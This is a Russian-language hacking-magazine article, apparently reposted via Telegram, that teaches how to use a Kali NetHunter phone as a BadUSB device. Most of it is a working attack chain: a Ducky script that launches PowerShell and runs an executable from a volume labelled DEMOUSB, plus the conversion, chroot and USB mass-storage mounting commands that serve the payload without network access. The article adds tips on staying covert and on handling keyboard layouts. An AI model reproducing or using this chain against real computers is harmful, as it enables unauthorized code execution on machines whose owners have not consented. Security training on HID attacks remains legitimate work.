Хакер - Мобильник как BadUSB. Используем BadUSB в Kali NetHunter по-взрослому
hacker_frei
Intercepter
Что такое BadUSB, знает, наверное, каждый. Долгое время к категории BadUSB причисляли исключительно девайсы вроде флешек. Но можно ли использовать в таком качестве, например, смартфон на Android? Можно — с помощью проекта Kali NetHunter, мобильной платформы, специально созданной для пентестеров. В этой статье я покажу, как превратить мобильник в полноценный аналог «злой флешки».
О BadUSB говорилось и писалось множество раз, в статьях и видеороликах давалась общая информация об этом классе атак, делался обзор существующих девайсов на рынке, и, конечно же, описывались схемы сборки самодельных устройств. Как ты знаешь, эта атака позволяет в кратчайшие сроки выполнить действия на целевом компьютере. Делается это так: в свободный USB-порт вставляется заранее подготовленная флешка или простой USB-кабель, который имеет встроенный микроконтроллер с особой прошивкой. Эти устройства идентифицируются системой в качестве HID (Human Interface Device), например как клавиатура. После чего по заранее написанному сценарию эмулируется ввод команд, как если бы их вбивал живой человек, сидящий за компьютером.
Предположим, что ты член команды Red Team. Плюсы таких устройств для тебя очевидны. Во‑первых, не нужно садиться за компьютер и привлекать к себе внимание, стуча по клавишам за чужим рабочим местом. Достаточно вставить неприглядную флешку или кабель в разъем USB. А во‑вторых, скорость автоматического ввода команд при помощи устройства BadUSB в разы выше, чем скорость, с которой способен печатать человек.
На самом деле атака с автоматическим вводом текста через USB-свистки появилась куда раньше, чем сам термин BadUSB. В 2010 году команда Hak5 представила своего знаменитого резинового утенка — Rubber Ducky.

Это был специально спроектированный девайс, который напрямую никак не связан с темой BadUSB. Создатели желтой уточки разработали специальный скриптовый язык, на котором можно было писать сценарии. Впоследствии появился целый ресурс, где пользователи выкладывали свои скрипты.

Bash Bunny
Интересная альтернатива «резиновой утке» — Bash Bunny. Это более изощренный вариант девайса для HID-атак. Помимо клавиатуры, он может эмулировать любые устройства для последовательного порта, файловые хранилища и адаптеры USB — Ethernet.

О других хакерских устройствах, которые может приобрести любой желающий, ты можешь прочитать в этой статье.
В большинстве случаев применение «утенка» и самодельных BadUSB-свистков сводится к получению удаленного доступа или экспорту паролей из системы. Авторы тематических статей и мамкины хакеры c ютуба зачастую используют одну и ту же схему: залить на файлообменник какой‑нибудь троян и запрограммировать девайс BadUSB на его скачивание и выполнение. Как говорится, дешево и сердито.
Минусы этого метода очевидны: во‑первых, серьезные специалисты могут использовать собственные приватные наработки, так что заливать такой код неизвестно куда — идея не самая разумная, а во‑вторых, на целевой машине может не оказаться доступа в интернет, и скрипт попросту не отработает как надо.
При таком раскладе самодельные бюджетные свистки становятся бесполезными. Пользователи оригинального утенка находятся в более привилегированном положении, и вот почему: у Rubber Ducky есть возможность установить SD-карту с достаточным объемом памяти. Кроме того, существует альтернативная прошивка под названием Twin Duck, которая превращает утку одновременно в два устройства: клавиатуру и Mass Storage Device. Таким образом, появляется возможность расположить необходимый софт непосредственно во внутренней памяти девайса и полностью избежать работы с сетью.
Лично я познакомился с BadUSB при совершенно других обстоятельствах. Это случилось, когда я установил на смартфон операционную систему Kali NetHunter. Среди прочих функций данной ОС в ней присутствует возможность исполнять утиные скрипты при подключении смартфона к компьютеру. И все бы ничего, но вариант с заливкой файлов куда‑то вовне меня совершенно не устраивал, и я решил довести алгоритм этой атаки до ума.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Автор и редакция не несут ответственности за любой возможный вред, причиненный с использованием сведений из этой статьи.
Для начала разберемся с базовым выполнением ducky-скриптов. В графической оболочке NetHunter для этого существует свой раздел, но, по правде говоря, пользы от него мало. Поэтому запуск скриптов мы наладим самостоятельно.
В папке /sdcard/nh_files/modules есть утилита duckhunter.py, которая конвертирует скрипт на утином языке в shell-скрипт. В свою очередь, shell-скрипт работает с программой hid-keyboard, которая непосредственно взаимодействует с HID-гаджетом /dev/hidg0, эмулирующим устройство ввода. Вот как выглядит утиная команда STRING usb в сыром варианте:
echo u | hid-keyboard /dev/hidg0 keyboard
echo s | hid-keyboard /dev/hidg0 keyboard
echo b | hid-keyboard /dev/hidg0 keyboard
При запуске сконвертированного скрипта подключенный телефон начнет вводить текст на компьютере.
С этим разобрались, теперь перейдем к части эмуляции флеш‑накопителя. Для начала нам необходимо создать виртуальный образ, который мы будем монтировать и на котором будут находиться нужные для запуска файлы. Образ можно было бы создать простой командой:
dd if=/dev/zero of=demo.img bs=1M count=100 && sync
Но необходимо еще отформатировать накопитель и задать метку тома, поэтому более удобным вариантом будет использование утилиты DriveDroid.

Создай в ней образ необходимого размера и смонтируй в качестве сменного накопителя, отформатируй его штатными средствами и задай метку, например DEMOUSB. Скопируй файл (для примера пусть он называется file.exe), который планируешь запускать, в корень получившейся флешки.
Представлю свой вариант скрипта demo.txt, который будет определять букву смонтированного устройства с необходимой меткой и запускать с него файл.
DELAY 100
CONTROL ESCAPE
DELAY 2000
STRING powershell
DELAY 500
ENTER
DELAY 2500
STRING For ($i=0; $i -le 20; $i++) {
ENTER
STRING [string]$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label –eq 'DEMOUSB' } | select name
ENTER
STRING if($usbPath.Length -gt 7){[string]$letter = $usbPath.Substring(7,$usbPath.Length - 8)
ENTER
STRING cd $letter
ENTER
STRING ./file.exe
ENTER
STRING break}else {sleep(1)}}
ENTER
STRING exit
ENTER
Код очень простой и в комментариях не нуждается. Сконвертируем его в shell-формат:
python duckhunter.py demo.txt demo.sh –l us
Получившийся .sh-файл мы будем запускать из chroot-окружения Kali:
chroot /data/local/nhsystem/kali-armhf sh /root/demo.sh
Теперь осталось смонтировать наш образ demo.img следующими командами:
# Отключить read-only
echo '0' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/ro
# Установить тип устройства
echo '1' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/removable
# Указать пусть до образа, который следует смонтировать
echo '/sdcard/demo.img' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/file
sleep 1
# Устанавливаем свойство mass_storage для USB
setprop sys.usb.config mass_storage,adb
Весь получившийся код можно собрать в итоговый скрипт badusb.sh и положить в директорию /data/data/com.offsec.nethunter/files, после чего зайти в NetHunter → Custom Commands и создать кнопку для запуска со следующим содержимым:
su –c /data/data/com.offset.nethunter/files/badusb.sh

Теперь достаточно подключить телефон к компьютеру и нажать кнопку старта скрипта — запустится PowerShell, а в нем цикл ожидания подключения сменного носителя с заданной меткой и исполняемым файлом.
Я опустил некоторые элементарные шаги, ведь подобный сценарий использования атаки BadUSB предполагает достаточную теоретическую и практическую подготовку по юниксам.
На мой взгляд, телефон лучше справляется с этой задачей, чем свистки BadUSB. Всегда можно сказать, что ты заряжаешь телефон от первого попавшегося USB, к тому же на телефоне можно держать целый набор скриптов и запускать любой из них в произвольном порядке. Никакой возни с перепрошивкой!
INFO
Описанная выше инструкция доступна на моем YouTube как видео. Кроме этого, в данный момент ведется розыгрыш смартфона с установленной Kali NetHunter, с помощью которого ты сможешь воплотить в жизнь сценарий, описанный в статье. Подробности — в телеграм‑канале t.me/cepter.
В завершение хочу дать одну маленькую подсказку. Все команды нужно вводить при активной английской раскладке клавиатуры в системе. Если, к примеру, в момент проведения атаки будет установлен русский или любой иной язык, атака не сработает. На помощь приходят альтернативные коды, которые вводятся в комбинации с зажатой клавишей Alt и цифровым обозначением знака клавишами NumPad.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei